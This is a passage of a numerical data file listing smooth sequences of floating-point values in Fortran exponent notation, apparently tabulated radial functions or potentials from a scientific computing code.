0.1598896307184925E+02  0.1597803987999542E+02  0.1596901540476141E+02\n  0.1596186684115860E+02  0.1595656689399044E+02  0.1595308396448294E+02  0.1595138233785788E+02  0.1595142237152340E+02\n  0.1595316068356454E+02  0.1595655034122527E+02  0.1596154104908305E+02  0.1596807933662661E+02  0.1597610874495764E+02\n  0.1598557001234738E+02  0.1599640125838981E+02  0.1600853816650400E+02  0.1602191416454864E+02  0.1603646060332359E+02\n  0.1605210693274370E+02  0.1606878087548201E+02  0.1608640859789002E+02  0.1610491487801469E+02  0.1612422327054205E+02\n  0.1614425626850959E+02  0.1616493546163930E+02  0.1618618169115549E+02  0.1620791520096096E+02  0.1623005578505677E+02\n  0.1625252293110075E+02  0.1627523596000996E+02  0.1629811416152313E+02  0.1632107692564781E+02  0.1634404386992741E+02\n  0.1636693496247232E+02  0.1638967064070816E+02  0.1641217192580325E+02  0.1643436053274611E+02  0.1645615897605117E+02\n  0.1647749067108008E+02  0.1649828003097248E+02  0.1651845255918834E+02  0.1653793493767038E+02  0.1655665511064232E+02\n  0.1657454236406513E+02  0.1659152740077896E+02  0.1660754241136564E+02  0.1662252114077064E+02  0.1663639895072981E+02\n  0.1664911287805092E+02  0.1666060168880418E+02  0.1667080592848118E+02  0.1667966796818515E+02  0.1668713204691969E+02\n  0.1669314431004635E+02  0.1669765284398512E+02  0.1670060770723475E+02  0.1670196095779233E+02  0.1670166667705496E+02\n  0.1669968099028751E+02  0.1669596208374337E+02  0.1669047021852679E+02  0.1668316774128659E+02  0.1667401909183290E+02\n  0.1666299080776961E+02  0.1665005152623624E+02  0.1663517198285345E+02  0.1661832500796750E+02  0.1659948552028914E+02\n  0.1657863051802247E+02  0.1655573906758000E+02  0.1653079228997926E+02  0.1650377334501676E+02  0.1647466741331476E+02\n  0.1644346167633494E+02  0.1641014529445382E+02  0.1637470938319258E+02  0.1633714698769450E+02  0.1629745305554087E+02\n  0.1625562440799640E+02  0.1621165970977314E+02  0.1616555943740087E+02  0.1611732584629117E+02  0.1606696293657995E+02\n  0.1601447641783236E+02  0.1595987367269281E+02  0.1590316371956016E+02  0.1584435717436734E+02  0.1578346621154290E+02\n  0.1572050452422970E+02  0.1565548728383454E+02  0.1558843109898079E+02  0.1551935397393391E+02  0.1544827526656816E+02\n  0.1537521564594045E+02  0.1530019704953602E+02  0.1522324264024800E+02  0.1514437676315159E+02  0.1506362490213083E+02\n  0.1498101363641504E+02  0.1489657059707905E+02  0.1481032442355990E+02  0.1472230472024070E+02  0.1463254201315024E+02\n  0.1454106770682513E+02  0.1444791404137927E+02  0.1435311404982355E+02  0.1425670151567689E+02  0.1415871093090752E+02\n  0.1405917745424228E+02  0.1395813686987899E+02  0.1385562554663566E+02  0.1375168039756887E+02  0.1364633884009084E+02\n  0.1353963875661431E+02  0.1343161845575160E+02  0.1332231663409325E+02  0.1321177233858961E+02  0.1310002492955745E+02\n  0.1298711404433202E+02  0.1287307956158335E+02  0.1275796156631419E+02  0.1264180031555601E+02  0.1252463620477686E+02\n  0.1240650973501518E+02  0.1228746148075084E+02  0.1216753205852430E+02  0.1204676209631323E+02  0.1192519220367461E+02\n  0.1180286294265961E+02  0.1167981479950663E+02  0.1155608815711772E+02  0.1143172326832159E+02  0.1130676022992646E+02\n  0.1118123895756377E+02  0.1105519916132396E+02  0.1092868032218412E+02  0.1080172166922607E+02  0.1067436215764326E+02\n  0.1054664044753408E+02  0.1041859488347744E+02  0.1029026347488684E+02  0.1016168387713817E+02  0.1003289337346536E+02\n  0.9903928857617679E+01  0.9774826817272114E+01  0.9645623318193554E+01  0.9516353989134197E+01  0.9387054007464796E+01\n  0.9257758085527723E+01  0.9128500457703609E+01  0.8999314868181001E+01  0.8870234559419087E+01  0.8741292261293285E+01\n  0.8612520180912444E+01  0.8483949993096608E+01  0.8355612831503974E+01  0.8227539280395387E+01  0.8099759367023964E+01\n  0.7972302554638278E+01  0.7845197736086287E+01  0.7718473228007762E+01  0.7592156765602027E+01  0.7466275497958868E+01\n  0.7340855983939128E+01  0.7215924188591989E+01  0.7091505480096169E+01  0.6967624627211525E+01  0.6844305797227783E+01\n  0.6721572554397537E+01  0.6599447858839925E+01  0.6477954065901652E+01  0.6357112925962435E+01  0.6236945584671568E+01\n  0.6117472583602064E+01  0.5998713861309926E+01  0.5880688754784813E+01  0.5763416001279670E+01  0.5646913740506246E+01\n  0.5531199517183574E+01  0.5416290283926924E+01  0.5302202404464881E+01  0.5188951657171522E+01  0.5076553238901992E+01\n  0.4965021769119214E+01  0.4854371294299406E+01  0.4744615292604905E+01  0.4635766678812629E+01  0.4527837809486449E+01\n  0.4420840488382136E+01  0.4314785972074110E+01  0.4209684975792541E+01  0.4105547679460195E+01  0.4002383733918524E+01\n  0.3900202267332557E+01  0.3799011891764151E+01  0.3698820709903869E+01  0.3599636321951710E+01  0.3501465832636705E+01\n  0.3404315858366423E+01  0.3308192534496821E+01  0.3213101522713837E+01  0.3119048018517560E+01  0.3026036758800617E+01\n  0.2934072029512395E+01  0.2843157673401020E+01  0.2753297097824851E+01  0.2664493282626155E+01  0.2576748788059156E+01\n  0.2490065762765371E+01  0.2404445951788702E+01  0.2319890704624000E+01  0.2236400983291912E+01  0.2153977370433589E+01\n  0.2072620077419250E+01  0.1992328952464182E+01  0.1913103488746359E+01  0.1834942832520140E+01  0.1757845791220436E+01\n  0.1681810841551835E+01  0.1606836137557940E+01  0.1532919518665786E+01  0.1460058517700443E+01  0.1388250368865471E+01\n  0.1317492015684907E+01  0.1247780118901998E+01  0.1179111064331551E+01  0.1111480970661150E+01  0.1044885697198059E+01\n  0.9793208515582879E+00  0.9147817972939893E+00  0.8512636614565350E+00  0.7887613420918976E+00  0.7272695156654265E+00\n  0.6667826444134151E+00  0.6072949836187563E+00  0.5488005888082287E+00  0.4912933228690584E+00  0.4347668630826892E+00\n  0.3792147080735970E+00  0.3246301846712228E+00  0.2710064546832890E+00  0.2183365215789164E+00  0.1666132370796914E+00\n  0.1158293076575852E+00  0.6597730093832276E-01  0.1704965200881259E-01 -0.3096133037222471E-01 -0.7806345766145839E-01\n -0.1242646555170061E+00 -0.1695729578839355E+00 -0.2139965011800796E+00 -0.2575435185826074E+00 -0.3002223344158743E+00\n -0.3420413586411577E+00 -0.3830090814482432E+00 -0.4231340679495004E+00 -0.4624249529762802E+00 -0.5008904359780200E+00\n -0.5385392760237241E+00 -0.5753802869061535E+00 -0.6114223323483075E+00 -0.6466743213121019E+00 -0.6811452034089456E+00\n -0.7148439644120911E+00 -0.7477796218700159E+00 -0.7799612208208035E+00 -0.8113978296067292E+00 -0.8420985357887053E+00\n -0.8720724421598169E+00 -0.9013286628575624E+00 -0.9298763195738665E+00 -0.9577245378622440E+00 -0.9848824435414749E+00\n -0.1011359159194722E+01 -0.1037163800763434E+01 -0.1062305474235226E+01 -0.1086793272424552E+01 -0.1110636271845517E+01\n -0.1133843529675753E+01 -0.1156424080810253E+01 -0.1178386935004340E+01 -0.1199741074104586E+01 -0.1220495449366658E+01\n -0.1240658978858965E+01 -0.1260240544951108E+01 -0.1279248991885808E+01 -0.1297693123433412E+01 -0.1315581700627601E+01\n -0.1332923439581261E+01 -0.1349727009381238E+01 -0.1366001030060941E+01 -0.1381754070649363E+01 -0.1396994647295475E+01\n -0.1411731221466749E+01 -0.1425972198220502E+01 -0.1439725924546859E+01 -0.1453000687782247E+01 -0.1465804714091862E+01\n -0.1478146167020199E+01 -0.1490033146108215E+01 -0.1501473685575904E+01 -0.1512475753069052E+01 -0.1523047248468980E+01\n -0.1533196002763981E+01 -0.1542929776981157E+01 -0.1552256261177614E+01 -0.1561183073489532E+01 -0.1569717759238136E+01\n -0.1577867790091117E+01 -0.1585640563278520E+01 -0.1593043400861668E+01 -0.1600083549054143E+01 -0.1606768177593432E+01\n -0.1613104379162233E+01 -0.1619099168858133E+01 -0.1624759483710538E+01 -0.1630092182243682E+01 -0.1635104044084646E+01\n -0.1639801769615148E+01 -0.1644191979666060E+01 -0.1648281215253528E+01 -0.1652075937355576E+01 -0.1655582526728141E+01\n -0.1658807283759452E+01 -0.1661756428361703E+01 -0.1664436099898922E+01 -0.1666852357150144E+01 -0.1669011178306643E+01\n -0.1670918461002464E+01 -0.1672580022377071E+01 -0.1674001599169259E+01 -0.1675188847841216E+01 -0.1676147344732051E+01\n -0.1676882586239485E+01 -0.1677399989029130E+01 -0.1677704890270234E+01 -0.1677802547897067E+01 -0.1677698140895068E+01\n -0.1677396769610920E+01 -0.1676903456085609E+01 -0.1676223144409744E+01 -0.1675360701100275E+01 -0.1674320915497755E+01\n -0.1673108500183398E+01 -0.1671728091415232E+01 -0.1670184249582419E+01 -0.1668481459677102E+01 -0.1666624131783108E+01\n -0.1664616601580613E+01 -0.1662463130866198E+01 -0.1660167908087604E+01 -0.1657735048892448E+01 -0.1655168596690241E+01\n -0.1652472523227175E+01 -0.1649650729172852E+01 -0.1646707044718564E+01 -0.1643645230186273E+01 -0.1640468976647931E+01\n -0.1637181906554373E+01 -0.1633787574373395E+01 -0.1630289467236240E+01 -0.1626691005592231E+01 -0.1622995543870765E+01\n -0.1619206371150311E+01 -0.1615326711833899E+01 -0.1611359726330491E+01 -0.1607308511741977E+01 -0.1603176102555118E+01\n -0.1598965471338085E+01 -0.1594679529441171E+01 -0.1590321127701217E+01 -0.1585893057149300E+01 -0.1581398049721393E+01\n -0.1576838778971485E+01 -0.1572217860786824E+01 -0.1567537854104941E+01 -0.1562801261632051E+01 -0.1558010530562515E+01\n -0.1553168053298982E+01 -0.1548276168172963E+01 -0.1543337160165420E+01 -0.1538353261627133E+01 -0.1533326652998501E+01\n -0.1528259463528551E+01 -0.1523153771992774E+01 -0.1518011607409659E+01 -0.1512834949755512E+01 -0.1507625730677423E+01\n -0.1502385834204081E+01 -0.1497117097454231E+01 -0.1491821311342496E+01 -0.1486500221282453E+01 -0.1481155527886632E+01\n -0.1475788887663291E+01 -0.1470401913709823E+01 -0.1464996176402467E+01 -0.1459573204082366E+01 -0.1454134483737546E+01\n -0.1448681461680846E+01 -0.1443215544223580E+01 -0.1437738098344736E+01 -0.1432250452355627E+01 -0.1426753896559857E+01\n -0.1421249683908433E+01 -0.1415739030649932E+01 -0.1410223116975571E+01 -0.1404703087659131E+01 -0.1399180052691527E+01\n -0.1393655087910084E+01 -0.1388129235622212E+01 -0.1382603505223591E+01 -0.1377078873810667E+01 -0.1371556286787404E+01\n -0.1366036658466202E+01 -0.1360520872663014E+01 -0.1355009783286443E+01 -0.1349504214920848E+01 -0.1344004963403421E+01\n -0.1338512796395142E+01 -0.1333028453945557E+01 -0.1327552649051373E+01 -0.1322086068208856E+01 -0.1316629371959906E+01\n -0.1311183195431850E+01 -0.1305748148870926E+01 -0.1300324818169403E+01 -0.1294913765386324E+01 -0.1289515529261906E+01\n -0.1284130625725508E+01 -0.1278759548397190E+01 -0.1273402769082885E+01 -0.1268060738263149E+01 -0.1262733885575457E+01\n -0.1257422620290157E+01 -0.1252127331779953E+01 -0.1246848389983009E+01 -0.1241586145859656E+01 -0.1236340931842745E+01\n -0.1231113062281559E+01 -0.1225902833879501E+01 -0.1220710526125339E+01 -0.1215536401718194E+01 -0.1210380706986247E+01\n -0.1205243672299176E+01 -0.1200125512474344E+01 -0.1195026427176832E+01 -0.1189946601313249E+01 -0.1184886205419436E+01\n -0.1179845396042039E+01 -0.1174824316114016E+01 -0.1169823095324133E+01 -0.1164841850480436E+01 -0.1159880685867766E+01\n -0.1154939693599391E+01 -0.1150018953962708E+01 -0.1145118535759160E+01 -0.1140238496638358E+01 -0.1135378883426438E+01\n -0.1130539732448745E+01 -0.1125721069846856E+01 -0.1120922911890006E+01 -0.1116145265280953E+01 -0.1111388127456360E+01\n -0.1106651486881709E+01 -0.1101935323340800E+01 -0.1097239608219940E+01 -0.1092564304786787E+01 -0.1087909368463974E+01\n -0.1083274747097547E+01 -0.1078660381220247E+01 -0.1074066204309709E+01 -0.1069492143041646E+01 -0.1064938117538041E+01\n -0.1060404041610429E+01 -0.1055889822998297E+01 -0.1051395363602706E+01 -0.1046920559715141E+01 -0.1042465302241655E+01\n -0.1038029476922388E+01 -0.1033612964546500E+01 -0.1029215641162557E+01 -0.1024837378284490E+01 -0.1020478043093089E+01\n -0.1016137498633167E+01 -0.1011815604006419E+01 -0.1007512214560045E+01 -0.1003227182071147E+01 -0.9989603549270579E+00\n -0.9947115783015485E+00 -0.9904806943270184E+00 -0.9862675422627522E+00 -0.9820719586592493E+00 -0.9778937775186953E+00\n -0.9737328304516771E+00 -0.9695889468301108E+00 -0.9654619539365238E+00 -0.9613516771097025E+00 -0.9572579398867307E+00\n -0.9531805641415736E+00 -0.9491193702201466E+00 -0.9450741770719889E+00 -0.9410448023785890E+00 -0.9370310626784017E+00\n -0.9330327734886064E+00 -0.9290497494236897E+00 -0.9250818043108714E+00 -0.9211287513024286E+00 -0.9171904029850091E+00\n -0.9132665714859235E+00 -0.9093570685765163E+00 -0.9054617057726567E+00 -0.9015802944323839E+00 -0.8977126458507625E+00\n -0.8938585713520132E+00 -0.8900178823789437E+00 -0.8861903905797556E+00 -0.8823759078922311E+00 -0.8785742466254294E+00\n -0.8747852195388349E+00 -0.8710086399190866E+00 -0.8672443216543031E+00 -0.8634920793060465E+00 -0.8597517281789752E+00\n -0.8560230843882563E+00 -0.8523059649247257E+00 -0.8486001877179036E+00 -0.8449055716968552E+00 -0.8412219368489985E+00\n -0.8375491042768192E+00 -0.8338868962526480E+00 -0.8302351362714315E+00 -0.8265936491016083E+00 -0.8229622608341091E+00\n -0.8193407989295268E+00 -0.8157290922634788E+00 -0.8121269711702471E+00 -0.8085342674846857E+00 -0.8049508145824523E+00\n -0.8013764474186241E+00 -0.7978110025647080E+00 -0.7942543182440929E+00 -0.7907062343659974E+00 -0.7871665925579165E+00\n -0.7836352361966469E+00 -0.7801120104378853E+00 -0.7765967622444689E+00 -0.7730893404132703E+00 -0.7695895956008084E+00\n -0.7660973803475873E+00 -0.7626125491011952E+00 -0.7591349582382320E+00 -0.7556644660850415E+00 -0.7522009329373659E+00\n -0.7487442210788564E+00 -0.7452941947985601E+00 -0.7418507204073561E+00 -0.7384136662534099E+00 -0.7349829027366561E+00\n -0.7315583023223650E+00 -0.7281397395537861E+00 -0.7247270910639445E+00 -0.7213202355865901E+00 -0.7179190539663420E+00\n -0.7145234291680540E+00 -0.7111332462854418E+00 -0.7077483925489899E+00 -0.7043687573331715E+00 -0.7009942321630125E+00\n -0.6976247107200276E+00 -0.6942600888475667E+00 -0.6909002645555757E+00 -0.6875451380248399E+00 -0.6841946116106925E+00\n -0.6808485898462595E+00 -0.6775069794452312E+00 -0.6741696893042333E+00 -0.6708366305047628E+00 -0.6675077163147983E+00\n -0.6641828621900246E+00 -0.6608619857747765E+00 -0.6575450069026729E+00 -0.6542318475970094E+00 -0.6509224320708961E+00\n -0.6476166867272263E+00 -0.6443145401584339E+00 -0.6410159231461258E+00 -0.6377207686605807E+00 -0.6344290118601643E+00\n -0.6311405900906676E+00 -0.6278554428846229E+00 -0.6245735119605972E+00 -0.6212947412225088E+00 -0.6180190767589913E+00\n -0.6147464668428325E+00 -0.6114768619305104E+00 -0.6082102146618701E+00 -0.6049464798599574E+00 -0.6016856145310354E+00\n -0.5984275778648340E+00 -0.5951723312350204E+00 -0.5919198381999848E+00 -0.5886700645038960E+00 -0.5854229780781174E+00\n -0.5821785490429797E+00 -0.5789367497099552E+00 -0.5756975545842548E+00 -0.5724609403678959E+00 -0.5692268859632494E+00\n -0.5659953724771183E+00 -0.5627663832253617E+00 -0.5595399037381192E+00 -0.5563159217656418E+00 -0.5530944272847829E+00\n -0.5498754125061794E+00 -0.5466588718821447E+00 -0.5434448021153181E+00 -0.5402332021681084E+00 -0.5370240732729479E+00\n -0.5338174189434215E+00 -0.5306132449862715E+00 -0.5274115595143415E+00 -0.5242123729604776E+00 -0.5210156980924291E+00\n -0.5178215500287884E+00 -0.5146299462559857E+00 -0.5114409066464112E+00 -0.5082544534776542E+00 -0.5050706114529327E+00\n -0.5018894077227221E+00 -0.4987108719076290E+00 -0.4955350361225455E+00 -0.4923619350021070E+00 -0.4891916057274888E+00\n -0.4860240880545712E+00 -0.4828594243435082E+00 -0.4796976595897113E+00 -0.4765388414562883E+00 -0.4733830203079488E+00\n -0.4702302492464025E+00 -0.4670805841472636E+00 -0.4639340836984699E+00 -0.4607908094402333E+00 -0.4576508258065108E+00\n -0.4545142001680199E+00 -0.4513810028767579E+00 -0.4482513073120319E+00 -0.4451251899279745E+00 -0.4420027303025001E+00\n -0.4388840111876836E+00 -0.4357691185614755E+00 -0.4326581416807331E+00 -0.4295511731354427E+00 -0.4264483089040742E+00\n -0.4233496484099363E+00 -0.4202552945784125E+00 -0.4171653538949250E+00 -0.4140799364634484E+00 -0.4109991560653700E+00\n -0.4079231302184809E+00 -0.4048519802358120E+00 -0.4017858312840442E+00 -0.3987248124411331E+00 -0.3956690567527806E+00\n -0.3926187012873193E+00 -0.3895738871885333E+00 -0.3865347597258667E+00 -0.3835014683414236E+00 -0.3804741666930851E+00\n -0.3774530126929794E+00 -0.3744381685404753E+00 -0.3714298007487684E+00 -0.3684280801640104E+00 -0.3654331819758509E+00\n -0.3624452857181055E+00 -0.3594645752581452E+00 -0.3564912387734580E+00 -0.3535254687136594E+00 -0.3505674617460703E+00\n -0.3476174186827757E+00 -0.3446755443868791E+00 -0.3417420476554580E+00 -0.3388171410764583E+00 -0.3359010408565321E+00\n -0.3329939666165476E+00 -0.3300961411511784E+00 -0.3272077901487176E+00 -0.3243291418668700E+00 -0.3214604267599845E+00\n -0.3186018770527939E+00 -0.3157537262553701E+00 -0.3129162086136159E+00 -0.3100895584892342E+00 -0.3072740096627376E+00\n -0.3044697945526863E+00 -0.3016771433440111E+00 -0.2988962830179719E+00 -0.2961274362760575E+00 -0.2933708203499825E+00\n -0.2906266456898650E+00 -0.2878951145227867E+00 -0.2851764192741990E+00 -0.2824707408451726E+00 -0.2797782467393001E+00\n -0.2770990890342526E+00 -0.2744334021946651E+00 -0.2717813007251957E+00 -0.2691428766655449E+00 -0.2665181969328780E+00\n -0.2639073005217756E+00 -0.2613101955776174E+00 -0.2587268563663881E+00 -0.2561572201724773E+00 -0.2536011841663135E+00\n -0.2510586022957567E+00 -0.2485292822692960E+00 -0.2460129827152067E+00 -0.2435094106190135E+00 -0.2410182191615573E+00\n -0.2385390061013152E+00 -0.2360713128665393E+00 -0.2336146245440482E+00 -0.2311683709702571E+00 -0.2287319291436186E+00\n -0.2263046271825591E+00 -0.2238857500445038E+00 -0.2214745471939171E+00 -0.2190702423535930E+00 -0.2166720453861016E+00\n -0.2142791662241082E+00 -0.2118908305935776E+00 -0.2095062970515578E+00 -0.2071248745972281E+00 -0.2047459398312080E+00\n -0.2023689523724028E+00 -0.1999934670554019E+00 -0.1976191414090548E+00 -0.1952457371550912E+00 -0.1928731150462155E+00\n -0.1905012233025302E+00 -0.1881300810881581E+00 -0.1857597595959972E+00 -0.1833903639169085E+00 -0.1810220185223115E+00\n -0.1786548578143285E+00 -0.1762890213721006E+00 -0.1739246522622315E+00 -0.1715618967099617E+00 -0.1692009041513801E+00\n -0.1668418273480159E+00 -0.1644848225100573E+00 -0.1621300494242820E+00 -0.1597776715867397E+00 -0.1574278563403202E+00\n -0.1550807750173627E+00 -0.1527366030874480E+00 -0.1503955203105244E+00 -0.1480577108955310E+00 -0.1457233636646466E+00\n -0.1433926722233472E+00 -0.1410658351364051E+00 -0.1387430561099922E+00 -0.1364245441800418E+00 -0.1341105139070126E+00\n -0.1318011855772175E+00 -0.1294967854108453E+00 -0.1271975457768302E+00 -0.1249037054146965E+00 -0.1226155096635082E+00\n -0.1203332106980454E+00 -0.1180570677723090E+00 -0.1157873474704553E+00 -0.1135243239652422E+00 -0.1112682792840448E+00\n -0.1090195035824928E+00 -0.1067782954257439E+00 -0.1045449620773913E+00 -0.1023198197959724E+00 -0.1001031941390004E+00\n -0.9789542027442202E-01 -0.9569684329933507E-01 -0.9350781856577459E-01 -0.9132871201329762E-01 -0.8915990050804710E-01\n -0.8700177218790264E-01 -0.8485472681323365E-01 -0.8271917612269755E-01 -0.8059554419341119E-01 -0.7848426780471512E-01\n -0.7638579680463178E-01 -0.7430059447796174E-01 -0.7222913791482828E-01 -0.7017191837828506E-01 -0.6812944166942314E-01\n -0.6610222848819827E-01 -0.6409081478795155E-01 -0.6209575212134812E-01 -0.6011760797515669E-01 -0.5815696609097321E-01\n -0.5621442676864546E-01 -0.5429060714874503E-01 -0.5238614147002400E-01 -0.5050168129729559E-01 -0.4863789571467226E-01\n -0.4679547147851291E-01 -0.4497511312379645E-01 -0.4317754301696363E-01 -0.4140350134749559E-01 -0.3965374604968968E-01\n -0.3792905264519061E-01 -0.3623021399585374E-01 -0.3455803995547253E-01 -0.3291335690774033E-01 -0.3129700717659555E-01\n -0.2970984829376720E-01 -0.2815275210690626E-01 -0.2662660371018717E-01 -0.2513230017763598E-01 -0.2367074907776015E-01\n -0.2224286674626115E-01 -0.2084957629177444E-01 -0.1949180530768286E-01 -0.1817048326111876E-01 -0.1688653852836564E-01\n -0.1564089504398897E-01 -0.1443446852927493E-01 -0.1326816226396534E-01 -0.1214286236395461E-01 -0.1105943252668154E-01\n -0.1001870820551502E-01 -0.9021490174708021E-02 -0.8068537447652485E-02 -0.7160559513483508E-02 -0.6298207860858848E-02\n -0.5482066763324758E-02 -0.4712643308532483E-02 -0.3990356664167553E-02 -0.3315526587400327E-02 -0.2688361202633861E-02\n -0.2108944095059771E-02 -0.1577220795897805E-02 -0.1092984770086615E-02 -0.6558630595718385E-03 -0.2653017861664537E-03\n  0.7944822189490764E-04  0.3793453454019918E-03  0.6355702167323619E-03  0.8495373838452211E-03  0.1022904990027115E-02\n  0.1157581756795607E-02  0.1255730447553756E-02  0.1319766883295748E-02  0.1352353488459118E-02  0.1356386278494535E-02\n  0.1334974179358035E-02  0.1291409617048463E-02  0.1229129462600355E-02  0.1151665700113620E-02  0.1062585641275423E-02\n  0.9654221768740550E-03  0.8635954616548462E-03  0.7603285776664598E-03  0.6585610737771120E-03  0.5608657269660935E-03\n  0.4693752087118773E-03  0.3857262433307593E-03  0.3110288768033999E-03  0.2458671434387088E-03  0.1903343314865707E-03\n  0.1441011800570143E-03  0.1065093644667441E-03  0.7667716125666785E-04  0.5360156636052818E-04  0.3624338213230885E-04\n  0.2358881126340773E-04  0.1468957244294401E-04  0.8688517982512364E-05  0.4836926461183601E-05  0.2505806106186696E-05\n  0.1190778874910442E-05  0.5095498141563876E-06  0.1916497626697207E-06  0.6134629795982277E-07  0.1599283622173898E-07\n  0.3192844313628801E-08  0.4465991345509002E-09  0.3830055172706218E-10  0.1633011596692233E-11  0.2440735408533676E-13\n  0.6817882595562817E-16  0.1011756708173479E-19  0.4237417807138562E-26  0.7509788045435901E-39  0.4267446943283257E-77\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.5899841183367943E+00  0.1161355619573833E+01  0.1714505862663386E+01  0.2249819256784396E+01\n  0.2767673391510573E+01  0.3268439177645294E+01  0.3752481000506378E+01  0.4220156886514003E+01  0.4671818683172639E+01\n  0.5107812251922465E+01  0.5528477672848820E+01  0.5934149459862732E+01  0.6325156784687305E+01  0.6701823707789128E+01\n  0.7064469414269955E+01  0.7413408452670304E+01  0.7748950974623735E+01  0.8071402973330306E+01  0.8381066518882308E+01\n  0.8678239988567556E+01  0.8963218290390984E+01  0.9236293078186977E+01  0.9497752956839562E+01  0.9747883676281340E+01\n  0.9986968313100460E+01  0.1021528743874655E+02  0.1043311927348773E+02  0.1064073982542990E+02  0.1083842301406511E+02\n  0.1102644077796590E+02  0.1120506316638604E+02  0.1137455841466486E+02  0.1153519300345998E+02  0.1168723170195367E+02\n  0.1183093759528836E+02  0.1196657209658812E+02  0.1209439494401590E+02  0.1221466418339854E+02  0.1232763613702556E+02\n  0.1243356535929262E+02  0.1253270457991625E+02  0.1262530463549414E+02  0.1271161439022432E+02  0.1279188064662818E+02\n  0.1286634804714671E+02  0.1293525896749568E+02  0.1299885340267705E+02  0.1305736884654751E+02  0.1311104016584454E+02\n  0.1316009946956320E+02  0.1320477597456633E+02  0.1324529586829482E+02  0.1328188216942499E+02  0.1331475458729735E+02\n  0.1334412938091442E+02  0.1337021921827631E+02  0.1339323303679160E+02  0.1341337590546720E+02  0.1343084888954589E+02\n  0.1344584891822348E+02  0.1345856865604004E+02  0.1346919637850042E+02  0.1347791585244115E+02  0.1348490622162011E+02\n  0.1349034189796659E+02  0.1349439245888940E+02  0.1349722255100133E+02  0.1349899180057996E+02  0.1349985473104553E+02\n  0.1349996068770030E+02  0.1349945376993611E+02  0.1349847277108194E+02  0.1349715112602811E+02  0.1349561686673074E+02\n  0.1349399258566773E+02  0.1349239540728639E+02  0.1349093696745374E+02  0.1348972340089195E+02  0.1348885533655486E+02\n  0.1348842790087613E+02  0.1348853072879561E+02  0.1348924798244868E+02  0.1349065837738147E+02  0.1349283521613647E+02\n  0.1349584642903438E+02  0.1349975462196169E+02  0.1350461713095838E+02  0.1351048608338651E+02  0.1351740846544771E+02\n  0.1352542619580703E+02  0.1353457620507051E+02  0.1354489052085530E+02  0.1355639635818421E+02  0.1356911621492991E+02\n  0.1358306797202959E+02  0.1359826499818650E+02  0.1361471625877207E+02  0.1363242642864042E+02  0.1365139600856614E+02\n  0.1367162144501598E+02  0.1369309525296598E+02  0.1371580614147713E+02  0.1373973914174481E+02  0.1376487573734043E+02\n  0.1379119399636717E+02  0.1381866870525614E+02  0.1384727150393395E+02  0.1387697102209792E+02  0.1390773301634148E+02\n  0.1393952050787757E+02  0.1397229392061555E+02  0.1400601121935343E+02  0.1404062804785455E+02  0.1407609786658558E+02\n  0.1411237208990064E+02  0.1414940022246391E+02  0.1418712999471152E+02  0.1422550749716204E+02  0.1426447731339282E+02\n  0.1430398265150846E+02  0.1434396547393582E+02  0.1438436662538888E+02  0.1442512595885534E+02  0.1446618245946512E+02\n  0.1450747436611004E+02  0.1454893929069182E+02  0.1459051433488456E+02  0.1463213620430574E+02  0.1467374131999813E+02\n  0.1471526592713335E+02  0.1475664620085529E+02  0.1479781834918989E+02  0.1483871871295512E+02  0.1487928386261246E+02\n  0.1491945069200887E+02  0.1495915650896474E+02  0.1499833912267056E+02  0.1503693692786206E+02  0.1507488898574914E+02\n  0.1511213510168126E+02  0.1514861589953717E+02  0.1518427289283329E+02  0.1521904855255031E+02  0.1525288637168290E+02\n  0.1528573092652318E+02  0.1531752793469264E+02  0.1534822430994272E+02  0.1537776821374822E+02  0.1540610910372214E+02\n  0.1543319777888478E+02  0.1545898642182323E+02  0.1548342863778163E+02  0.1550647949072526E+02  0.1552809553642536E+02\n  0.1554823485261403E+02  0.1556685706626144E+02  0.1558392337803033E+02  0.1559939658396475E+02  0.1561324109447264E+02\n  0.1562542295066320E+02  0.1563590983810227E+02  0.1564467109805053E+02  0.1565167773625032E+02  0.1565690242932856E+02\n  0.1566031952888424E+02  0.1566190506332994E+02  0.1566163673755728E+02  0.1565949393049741E+02  0.1565545769064767E+02\n  0.1564951072963612E+02  0.1564163741389599E+02  0.1563182375452176E+02  0.1562005739537916E+02  0.1560632759954093E+02\n  0.1559062523411967E+02  0.1557294275356961E+02  0.1555327418152762E+02  0.1553161509126428E+02  0.1550796258481429E+02\n  0.1548231527085568E+02  0.1545467324140574E+02  0.1542503804740110E+02  0.1539341267322875E+02  0.1535980151027311E+02\n  0.1532421032954375E+02  0.1528664625344730E+02  0.1524711772676548E+02  0.1520563448690045E+02  0.1516220753344726E+02\n  0.1511684909715194E+02  0.1506957260831226E+02  0.1502039266467727E+02  0.1496932499890005E+02  0.1491638644559677E+02\n  0.1486159490806366E+02  0.1480496932470243E+02  0.1474652963520277E+02  0.1468629674652943E+02  0.1462429249875961E+02\n  0.1456053963081552E+02  0.1449506174613458E+02  0.1442788327831924E+02  0.1435902945680608E+02  0.1428852627259312E+02\n  0.1421640044406208E+02  0.1414267938293157E+02  0.1406739116037524E+02  0.1399056447333767E+02  0.1391222861107943E+02\n  0.1383241342198120E+02  0.1375114928063558E+02  0.1366846705525355E+02  0.1358439807541183E+02  0.1349897410016506E+02\n  0.1341222728654655E+02  0.1332419015847903E+02  0.1323489557611632E+02  0.1314437670563505E+02  0.1305266698949474E+02\n  0.1295980011718308E+02  0.1286580999646230E+02  0.1277073072513102E+02  0.1267459656331543E+02  0.1257744190630183E+02\n  0.1247930125792220E+02  0.1238020920450298E+02  0.1228020038938623E+02  0.1217930948803182E+02  0.1207757118370758E+02\n  0.1197502014377439E+02  0.1187169099657116E+02  0.1176761830890495E+02  0.1166283656414955E+02  0.1155738014095610E+02\n  0.1145128329257739E+02  0.1134458012680787E+02  0.1123730458653994E+02  0.1112949043093634E+02  0.1102117121721842E+02\n  0.1091238028306897E+02  0.1080315072964744E+02  0.1069351540521540E+02  0.1058350688936919E+02  0.1047315747787608E+02\n  0.1036249916810981E+02  0.1025156364508113E+02  0.1014038226805835E+02  0.1002898605777191E+02  0.9917405684197892E+01\n  0.9805671454913359E+01  0.9693813304017528E+01  0.9581860781611367E+01  0.9469843043828288E+01  0.9357788843408597E+01\n  0.9245726520809420E+01  0.9133683995842015E+01  0.9021688759828107E+01  0.8909767868266561E+01  0.8797947934001263E+01\n  0.8686255120881437E+01  0.8574715137904995E+01  0.8463353233835596E+01  0.8352194192283553E+01  0.8241262327241410E+01\n  0.8130581479064045E+01  0.8020175010883365E+01  0.7910065805447962E+01  0.7800276262377434E+01  0.7690828295821206E+01\n  0.7581743332512092E+01  0.7473042310204099E+01  0.7364745676484368E+01  